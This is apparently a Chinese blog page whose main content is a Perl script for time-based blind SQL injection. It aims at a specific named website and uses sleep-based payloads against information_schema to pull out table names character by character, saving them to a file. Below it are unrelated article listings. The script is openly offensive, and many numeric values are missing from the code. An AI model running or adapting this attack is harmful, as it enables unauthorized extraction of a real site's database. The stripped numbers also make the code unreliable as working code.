use strict;
use warnings;
use LWP::Simple; my %table_and_leng;
for(my $count = ;$count <= ;$count++){
#print "Test Table: $count\n";
my $table_length=;
my $swap = $count+;
while($table_length <= ){ print "Test Table($swap), and table_length($table_length)\n";
my $start_time = time;
get("http://www.bjmzdx.org/home/api/detail/cateId/834/id/4698) and ( if(length((select table_name from information_schema.tables where table_schema=database() limit $count,1))=$table_length,sleep(10),1) )-- -.html");
my $end_time = time;
my $fish_time = $end_time-$start_time;
if($fish_time >= ){
print "The $swap talbe_length:$table_length\n";
$table_and_leng{$count} = $table_length;
last;
}
$table_length++;
} }
foreach my $keys(sort keys %table_and_leng){
print "$keys => $table_and_leng{$keys}\n";
}
print "All table length is Done, sleep(30)";
sleep(); my %all_tables;
for(my $table_count=;$table_count <=;$table_count++){
my $table_count_swap = $table_count+;
my @table;
for(my $count=;$count<=$table_and_leng{$table_count}; $count++){
foreach my $char('a'..'z','A'..'Z',..,'_','!','@','#','$','%','^','&','*','(',')'){
print "Guess $table_count_swap -> $char\n";
my $start_time = time;
get("http://www.bjmzdx.org/home/api/detail/cateId/834/id/4698) and ( if((substr( (select table_name from information_schema.tables where table_schema=database() limit $table_count,1),$count,1)='".$char."') ,sleep(10),1) )-- -.html");
my $end_time = time;
my $fish_time = $end_time-$start_time;
if($fish_time >= ){
print "The Char:$char\n";
push @table, $char;
last; } }
}
my $table_swap = join('',@table); print "The $table_count_swap is:$table_swap\n";
$all_tables{$table_count} = $table_swap;
} open DATA, ">> back.txt" or die "Cannot write to file:$!\n";
print "\n\n------------------------------------------------------\n";
foreach my $table_keys(sort keys %all_tables){
print "$table_keys => $all_tables{$table_keys}\n";
print DATA "$table_keys\t$all_tables{$table_keys}\n";
}
print "------------------------------------------------------\n";
close DATA;
print "All Done, Please Check the file:back.txt in current dir.\n";
print "Done!\n";

关键是time获得时间

一个基于时间注入的perl小脚本的更多相关文章

  1. 初步学习nodejs,业余用node写个一个自动创建目录和文件的小脚本,希望对需要的人有所帮助

    初步学习nodejs,业余用node写个一个自动创建目录和文件的小脚本,希望对需要的人有所帮助,如果有bug或者更好的优化方案,也请批评与指正,谢谢,代码如下: var fs = require('f ...

  2. 分享一个刷网页PV的python小脚本

    下面分享一个小脚本,用来刷网页PV. [root@huanqiu ~]# cat www.py #!/usr/bin/python# coding: UTF-8import webbrowser as ...

  3. 一个基于ES6+webpack的vue小demo

    上一篇文章<一个基于ES5的vue小demo>我们讲了如何用ES5,vue-router做一个小demo,接下来我们来把它变成基于ES6+webpack的demo. 一.环境搭建及代码转换 ...

  4. 《Advanced Bash-scripting Guide》学习(四):一个显示时间日期登录用户的脚本

    本文所选的例子来自于<Advanced Bash-scripting Gudie>一书,译者杨春敏 黄毅 编写一个脚本,显示时间和日期,列出所有的登录用户,显示系统的更新时间.然后这个脚本 ...

  5. 随手写的一个检测php连接mysql的小脚本

    最近偶然接触到一点点的php开发,要用到mysql数据库,由于mysql和php版本的关系,php5里面连接函数有mysql_connect(),mysqli_connect()两种,php7中又使用 ...

  6. 一个python拖库字段的小脚本

    import requests import re all_column = dict() all_db = "db_zf,dg_activity,dg_activity_log,dg_ad ...

  7. 一个基于ES5的vue小demo

    由于现在很多vue项目都是基于ES6开发的,而我学vue的时候大多是看vue官网的API,是基于ES5的,所以对于刚接触项目的我来说要转变为项目的模块化写法确实有些挑战.因此,我打算先做一个基于ES5 ...

  8. [Swift]LeetCode981. 基于时间的键值存储 | Time Based Key-Value Store

    Create a timebased key-value store class TimeMap, that supports two operations. 1. set(string key, s ...

  9. LeetCode 981.基于时间的键值存储(C++)

    创建一个基于时间的键值存储类 TimeMap,它支持下面两个操作: 1. set(string key, string value, int timestamp) 存储键 key.值 value,以及 ...

随机推荐

  1. 【EF】Entity Framework 6新特性:全局性地自定义Code First约定

    应用场景 场景一:EF Code First默认使用类名作为表名,如果我们需要给表名加个前缀,例如将类名Category映射到表Shop_Category.将Product映射到Shop_Produc ...

  2. 【codevs1282】约瑟夫问题 Treap

    题目描述 有编号从1到N的N个小朋友在玩一种出圈的游戏.开始时N个小朋友围成一圈,编号为I+1的小朋友站在编号为I小朋友左边.编号为1的小朋友站在编号为N的小朋友左边.首先编号为1的小朋友开始报数,接 ...

  3. BZOJ4770 图样(概率期望+动态规划)

    考虑求出所有MST的权值和再除以方案数,方案数显然是2mn. 按位考虑,显然应该让MST里的边高位尽量为0.那么根据最高位是0还是1将点集划分成两部分,整张图的MST就是由两部分各自的MST之间连一条 ...

  4. BZOJ4737 组合数问题(卢卡斯定理+数位dp)

    不妨不管j<=i的限制.由卢卡斯定理,C(i,j) mod k=0相当于k进制下存在某位上j大于i.容易想到数位dp,即设f[x][0/1][0/1][0/1]为到第x位时是否有某位上j> ...

  5. 【以前的空间】link cut tree

    这篇文章讲的很好很详细,但是写了几天后发现似乎是挺残的版本. 2049: [Sdoi2008]Cave 洞穴勘测 3282: Tree 2002: [Hnoi2010]Bounce 弹飞绵羊 1036 ...

  6. Codeforces Round #546 (Div. 2) 题解

    Codeforces Round #546 (Div. 2) 题目链接:https://codeforces.com/contest/1136 A. Nastya Is Reading a Book ...

  7. 使用springcloud的feign调用服务时出现的错误:关于实体转换成json错误的介绍

    http://blog.csdn.net/java_huashan/article/details/46428971 原因:实体中没有添加无参的构造函数 fastjson的解释: http://www ...

  8. [iptables]iptables 添加log到syslog

    比如iptables本来有这么一条: -A PREROUTING -d 125.65.27.xxx/32 -p tcp -m tcp --dport 11060 -j DNAT --to-destin ...

  9. STM32 - 软件设置单片机重启

    __set_FAULTMASK();//关闭总中断 NVIC_SystemReset();//请求单片机重启 执行NVIC_SystemReset()函数不允许被打断,所以关总中断

  10. 美国选举问题/完全背包/Knapsack

    using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Knap ...